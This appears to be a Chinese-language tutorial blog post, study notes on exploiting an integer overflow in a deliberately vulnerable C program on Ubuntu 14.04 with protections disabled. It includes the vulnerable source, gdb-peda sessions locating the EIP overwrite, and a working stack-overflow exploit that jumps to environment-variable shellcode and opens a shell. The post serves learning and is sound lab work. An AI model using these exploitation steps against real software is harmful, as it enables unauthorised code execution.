欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]Linux下面整数溢出,学习笔记分享.

[原创]Linux下面整数溢出,学习笔记分享.

    0x00 准备

依然是在Ubuntu14.04上面关闭安全保护机制,实验代码取自[sploitfun](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/).
什么是整数溢出?

存储的值超过类型系统最大的表示范围叫interger overflow,小于其最小表示范围叫interger underflow,整数溢出一般不会直接导致任意代码执行,但是会导致栈或者堆溢出间接引发任意代码执行,本笔记打算interger overflow导致stack overflow来说明问题.
类型系统与其的表示范围?

当我们存储值到变量里面,这个在类型语言里面(c, c++, python, haskell...)这个变量表示是有范围限制的,比如当我们打算存2147483648到signed int类型变量里面,在32位系统上面其表示最大值是2^32-1存储这样的值就会导致integer overflow,unsigned int类型其表示范围是2^32-1到0,当存储值小于最小表示下届时候,发生integer underflow.
存在问题示例代码:

/* filename: vuln.c

 * gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

 */

[*]include <stdio.h>

[*]include <string.h>

[*]include <stdlib.h>

void store_passwd_indb(char* passwd) {

}

void validate_uname(char* uname) {

}

void validate_passwd(char* passwd) {

 char passwd_buf[11];

 unsigned char passwd_len = strlen(passwd); /* [1] */ 

 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */

  printf("Valid Password\n"); /* [3] */ 

  fflush(stdout);

  strcpy(passwd_buf,passwd); /* [4] */

 } else {

  printf("Invalid Password\n"); /* [5] */

  fflush(stdout);

 }

 store_passwd_indb(passwd_buf); /* [6] */

}

int main(int argc, char* argv[]) {

 if(argc!=3) {

  printf("Usage Error:   \n");

  fflush(stdout);

  exit(-1);

 }

 validate_uname(argv[1]);

 validate_passwd(argv[2]);

 return 0;

}


标号[1]处显示了一个integer overflow,strlen()返回值类型是size_t (ubuntu下面定义为unsigned int), 但是例子代码处用来存储的是个char,char是8bit 显然是不能存储超过2^8-1,超出表示的部分虽然会被截断(虽然strlen()能正确找出,长度eax寄存器也能保存,但是放到password_len变量过程中导致问题),但是如果我们把第二个参数控制在255+5到255+8之间这样就能bypass下面的if检查,这样可以导致基于栈的缓冲区溢出!
0x10 分析
分析密码验证,输入256就已经超越了char的表示范围,可以看下面分析过程观察两次输入的eax寄存器,但这个程度只能算是一个小bug.

gdb-peda$ r guowang $(python -c 'print "A" * 256')

gdb-peda$ b validate_passwd 

[-------------------------------------code-------------------------------------]

   0x804850d <validate_passwd+6>:	mov    eax,DWORD PTR [ebp+0x8]

   0x8048510 <validate_passwd+9>:	mov    DWORD PTR [esp],eax

   0x8048513 <validate_passwd+12>:	call   0x80483e0 <strlen@plt>

=> 0x8048518 <validate_passwd+17>:	mov    BYTE PTR [ebp-0x9],al

   0x804851b <validate_passwd+20>:	cmp    BYTE PTR [ebp-0x9],0x3

   0x804851f <validate_passwd+24>:	jbe    0x8048554 <validate_passwd+77>

   0x8048521 <validate_passwd+26>:	cmp    BYTE PTR [ebp-0x9],0x8

   0x8048525 <validate_passwd+30>:	ja     0x8048554 <validate_passwd+77>

...

gdb-peda$ info registers al

al             0xff	0xff

...

gdb-peda$ b validate_passwd 

...

gdb-peda$ r guowang $(python -c 'print "A" * 256')

...

EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

   0x804850d <validate_passwd+6>:	mov    eax,DWORD PTR [ebp+0x8]

   0x8048510 <validate_passwd+9>:	mov    DWORD PTR [esp],eax

   0x8048513 <validate_passwd+12>:	call   0x80483e0 <strlen@plt>

=> 0x8048518 <validate_passwd+17>:	mov    BYTE PTR [ebp-0x9],al

   0x804851b <validate_passwd+20>:	cmp    BYTE PTR [ebp-0x9],0x3

   0x804851f <validate_passwd+24>:	jbe    0x8048554 <validate_passwd+77>

   0x8048521 <validate_passwd+26>:	cmp    BYTE PTR [ebp-0x9],0x8

   0x8048525 <validate_passwd+30>:	ja     0x8048554 <validate_passwd+77>

...

gdb-peda$ info registers al

al             0x0	0x0


因为下面cmp检查了strlen()的返回值的长度所以:

[----------------------------------registers-----------------------------------]

EAX: 0x103 

...

EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

   0x804850d <validate_passwd+6>:	mov    eax,DWORD PTR [ebp+0x8]

   0x8048510 <validate_passwd+9>:	mov    DWORD PTR [esp],eax

   0x8048513 <validate_passwd+12>:	call   0x80483e0 <strlen@plt>

=> 0x8048518 <validate_passwd+17>:	mov    BYTE PTR [ebp-0x9],al

   0x804851b <validate_passwd+20>:	cmp    BYTE PTR [ebp-0x9],0x3

   0x804851f <validate_passwd+24>:	jbe    0x8048554 <validate_passwd+77>

   0x8048521 <validate_passwd+26>:	cmp    BYTE PTR [ebp-0x9],0x8

   0x8048525 <validate_passwd+30>:	ja     0x8048554 <validate_passwd+77>

[------------------------------------stack-------------------------------------]


这样是构造出绕过if检查的方式,但是导致了crash.
0x20 准备exp
寻找一下哪里覆盖eip.

gdb-peda$ pattern_arg 2 262

Set 2 arguments to program

gdb-peda$ r

...

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

...

EIP: 0x41414441 ('ADAA')

...

gdb-peda$ r AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)')

Starting program: /home/guowang/lab/vuln AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)')

Valid Password

Program received signal SIGSEGV, Segmentation fault.

...

EIP: 0x42424141 ('AABB')

...

gdb-peda$ r AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)')

Starting program: /home/guowang/lab/vuln AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)')

Valid Password

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

EAX: 0xbffff584 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)

EBX: 0xb7fcd000 --> 0x1a9da8 

ECX: 0xbffff8a0 ("CCCCCCC")

EDX: 0xbffff682 ("CCCCCCC")

ESI: 0x0 

EDI: 0x0 

EBP: 0x41414141 ('AAAA')

ESP: 0xbffff5a0 ('C' <repeats 200 times>...)

EIP: 0x42424242 ('BBBB')


大体上构造完成,把BBBB写入eip,然后正式准备一下使用rop构造一下exp这个整数溢出就算初步利用完成.

guowang@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)

guowang@warzone:~/lab$ ./getaddr SHELLCODE ./vuln

SHELLCODE will be at 0xbffff848

guowang@warzone:~/lab$ ./vuln AA $(python -c 'print "A" * 24 + "\x48\xf8\xff\xbf" + "C" * (261-4-24)')

Valid Password

sh-4.3$ id

uid=1042(guowang) gid=1043(guowang) groups=1043(guowang)

sh-4.3$ 


0x40 现实世界
    0x41 CVE-2012-0711

Integer signedness error in the db2dasrrm process in the DB2 Administration Server (DAS) in IBM DB2 9.1 through FP11, 9.5 before FP9, and 9.7 through FP5 on UNIX platforms allows remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow.

这个CVE是Integer Signedness导致堆溢出后发生任意代码执行,待我学习到heap部分时候,尝试来分析一下这个漏洞,然后分享给大家.
    reference
    [1] [Phrack 0x0b, Issue 0x3c, Phile 0x0a of 0x10](http://phrack.org/issues/60/10.html)
    [2] [sploitfun](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/)
    [3] [CVE-2012-0711](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0711)

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功